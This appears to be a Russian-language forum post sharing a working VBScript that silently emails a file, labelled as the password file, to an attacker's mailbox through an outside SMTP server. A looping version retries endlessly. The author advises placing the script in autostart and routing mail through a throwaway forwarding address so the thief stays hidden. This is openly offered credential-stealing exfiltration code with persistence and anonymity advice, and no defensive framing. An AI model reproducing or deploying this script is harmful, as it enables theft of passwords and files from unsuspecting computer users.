:rtfm:  Как и обещал выкладываю полноценный скрипт отправки файлов на E-mail. Для этого я даже завел новую тему и прошу модераторов её никуда не переносить.

Вообщем все не так просто. Нормальный скрипт Вам никто никогда не предоставит (Везде свои секреты). Но в целях помощи начинающим - я как проффессиональный программист (не слова о хакерстве), расскрою пару простых трюков. Для тех кому надо больше - смогут сами сотворить свои решения проблем изучив любой правильный язык.

On Error Resume Next
Set objEmail = CreateObject("CDO.Message")
objEmail.From = "Адрес от кого будет приходить письмо..."
objEmail.To = "Ваш адрес..."
objEmail.Subject = "Тема сообщения..."
objEmail.Textbody = "Текст сообщения..."
objEmail.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objEmail.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = _
        "smtp.mail.ru"
objEmail.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
objEmail.Configuration.Fields.Update
objEmail.AddAttachment "Полный путь к файлу с паролем..."
objEmail.Send

Обратите внимание на "smtp.mail.ru" - у тебя может быть любой. скрипт универсален тем, что работает на любой машинке, без всяких левых настроек и дополнительных программ. Просто и понятно.

objEmail.AddAttachment "Полный путь к файлу с паролем..." - Может быть использован множество раз. Этот же скрипт может использоваться для отправки с любого адреса на любой адрес.

Также внимание. Скрипт работает лишь один раз, а если он запущен когда интернета нету, то что. Правильно - можно опробовать отсылать его постоянно. Для этого вот:

On Error Resume Next
Dim nx
nx = 3
Do while nx = 3

Set objEmail = CreateObject("CDO.Message")
objEmail.From = "Адрес от кого будет приходить письмо..."
objEmail.To = "Ваш адрес..."
objEmail.Subject = "Тема сообщения..."
objEmail.Textbody = "Текст сообщения..."
objEmail.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objEmail.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = _
        "smtp.mail.ru"
objEmail.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
objEmail.Configuration.Fields.Update
objEmail.AddAttachment "Полный путь к файлу с паролем..."
objEmail.Send

Loop

Только дурак не поймет, что скрипт будет вечно в памяти и вечно выполняться, вплоть до перезагрузки. А если его скопировать в автозагрузку, то вообще всегда.
Для этого нужно завести левый адрес и в скрипте указать именно его, а также переадресацию на ваш ящик. Когда придет нужный пароль переадресацию снимаете. Или вообще обходитесь без нее (переадрессации). Но ни в коем случае не указывайте свой E-mail. Вот вообщем все. Много чего не сказал, но если возникнут вопросы, то в ЭТОЙ теме, я возможно отвечу на них.

P.S. Настройки для других серверов узнавать не в этом месте. Чаще всего это скажем smtp.mail.ru (он же для list.ru) и smtp.rambler.ru Вообщем прибавляем приставку к адрессу, но не всегда. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
P.P.S. А у меня скрипт пароли прямо на sms присылает и шифруется... [Автоопределение подключения] :cool: